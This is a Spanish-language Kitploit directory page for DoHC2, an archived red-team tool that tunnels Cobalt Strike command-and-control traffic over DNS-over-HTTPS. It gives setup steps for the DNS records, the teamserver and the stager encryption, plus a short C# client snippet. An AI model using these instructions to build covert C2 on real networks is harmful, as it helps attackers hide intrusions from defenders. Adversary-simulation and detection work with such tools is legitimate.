Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
DoHC2 — DoHC2 permite aprovechar la librería ExternalC2 de Ryan Hanson (https://github.com/ryhanson/ExternalC2) para el comando y control (C2) a través de DNS sobre HTTPS (DoH). | Kitploit
Herramientas/GitHubGitHub/spiderlabs/dohc2
Frameworks de Pruebas de PenetraciónFrameworks de ExploitsComando y ControlRed TeamingDesarrollo de PayloadsAnálisis de DNSArchived
GitHubspiderlabs/dohc2

DoHC2

DoHC2 permite aprovechar la librería ExternalC2 de Ryan Hanson (https://github.com/ryhanson/ExternalC2) para el comando y control (C2) a través de DNS sobre HTTPS (DoH).

Ver Repositorio
44993hace 6 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

⚠️ NOTA: Esta herramienta ya no está en mantenimiento activo.

DoHC2

DoHC2 permite que la librería ExternalC2 de Ryan Hanson (https://github.com/ryhanson/ExternalC2) se utilice para el comando y control (C2) a través de DNS sobre HTTPS (DoH). Está diseñado para el popular software de simulación de adversarios y operaciones de Red Team Cobalt Strike (https://www.cobaltstrike.com).

Presentación

Este proyecto fue publicado el 23 de octubre de 2018 en Mitre ATT&CKcon.

Diapositivas: Actuando como abogado del diablo ante las iniciativas de seguridad con ATT&CK

Artículo del blog: ¡DOH! DNS sobre HTTPS plantea posibles riesgos para las empresas

Diagrama

Captura de pantalla

Uso

  1. Instala y lanza el teamserver de Cobaltstrike.
  2. Lanza un listener beacon_http/beacon_https - Ojo Puede estar bloqueado por el firewall, pero lo necesitas para que External C2 funcione.
  3. Carga el script 'external_c2.cna' para iniciar ExternalC2 en el puerto 2222 (con el firewall desactivado).
  4. Instala las dependencias para el servidor python3.
  5. Permite el puerto 53/udp hacia Internet (o hacia los rangos de IP del proveedor de DoH).
  6. Crea un registro A en tu dominio que apunte a la IP del teamserver/servidor DNS, es decir, [A] entry.example.org -> 000.000.000.000
  7. Crea un registro NS que apunte al registro A para el canal de envío (INPUTDOMAIN), es decir, [NS] send.example.org -> entry.example.org.
  8. Crea un registro NS que apunte al registro A para el canal de recepción (OUTPUTDOMAIN), es decir, [NS] receive.example.org -> entry.example.org.
  9. Cambia INPUTDOMAIN y OUTPUTDOMAIN en DoHC2.py. Cambia la clave de cifrado/IV; esto se utiliza para cifrar la ruta desde Teamserver-->Client Only (cifra el Stager). Cambia max_records de 1 según el proveedor de DoH; algunos proveedores reordenan los registros devueltos, lo que actualmente no se maneja. Max 5 funciona bien con el servidor DNS.
  10. Lanza el servidor DNS python3.
  11. Compila la librería ExternalC2. Cambia la clave de cifrado/IV en DoHChannel.cs para que coincida con el servidor python3.
  12. Configura y lanza DoHC2() como se indica a continuación, asegurándote de establecer INPUTDOMAIN, OUTPUTDOMAIN y un proveedor de DoH con el formato 'https://resolver.example.org/dns-query'.

Servidor

Servidor DNS en Python basado en ACME DNS Server

  • Este servidor conecta el DNS crudo con el Teamserver de Cobalt Strike en 127.0.0.1:2222 por defecto.
  • Cambia INPUTDOMAIN y OUTPUTDOMAIN para que sean hosts que sean NS de la IP externa del servidor:
root@kitploit:~
	pip3 install -r requirements.txt
	sudo python3 ./DoHC2.py

Librería

El ExternalC2 de @ryhanson con las siguientes adiciones:

  • Channels> DoHChannel.cs - Implementación de DoH
  • Channels > Base32.cs (de https://gist.github.com/BravoTango86/2a085185c3b9bd8383a1f956600e515f)
  • DoHC2.cs - Configuración/envoltorio del canal DoH
  • Newtonsoft.JSON (https://www.newtonsoft.com/json) se añade al proyecto

Cliente de ejemplo

  • Al igual que el resto de ExternalC2, DoHC2 es COMVisible para JScript/DotNetToJS, pero este es un ejemplo sencillo para iniciarlo.
  • El cliente de ejemplo DoHC2Runner es un programa sencillo en C# para demostrar la carga de la librería y su configuración de la siguiente manera:
root@kitploit:~
	DoHC2 doh = new DoHC2();
	doh.Configure("<INPUTDOMAIN>","<OUTPUTDOMAIN>","<DoH URI i.e. https://dns.google.com/resolve or https://dns.example.org/dns-query");
	doh.Go();

Autores

  • David Middlehurst - Twitter- @dtmsecurity

Licencia

DoHC2

Algunos elementos creados por David Middlehurst, SpiderLabs, como se describe anteriormente (Consulte las respectivas licencias cuando se utilizan otros proyectos de código abierto).

Copyright (C) 2018 Trustwave Holdings, Inc.

Este programa es software libre: puedes redistribuirlo y/o modificarlo bajo los términos de la Licencia Pública General de GNU publicada por la Free Software Foundation, ya sea la versión 3 de la Licencia, o (a tu elección) cualquier versión posterior.

Este programa se distribuye con la esperanza de que sea útil, pero SIN NINGUNA GARANTÍA; sin siquiera la garantía implícita de COMERCIABILIDAD o IDONEIDAD PARA UN PROPÓSITO PARTICULAR. Véase la Licencia Pública General de GNU para más detalles.

Agradecimientos

  • ExternalC2
  • ExternalC2 Spec
  • ACME DNS Server - (Servidor Python)
  • Python Shared File C2 - (Servidor Python)
  • Python External_C2_Framework - (Servidor Python)
  • DNSExfiltrator - Servidor Python

Contribuyentes

  • xinhaojing - Problema del servidor #1
Descargar herramienta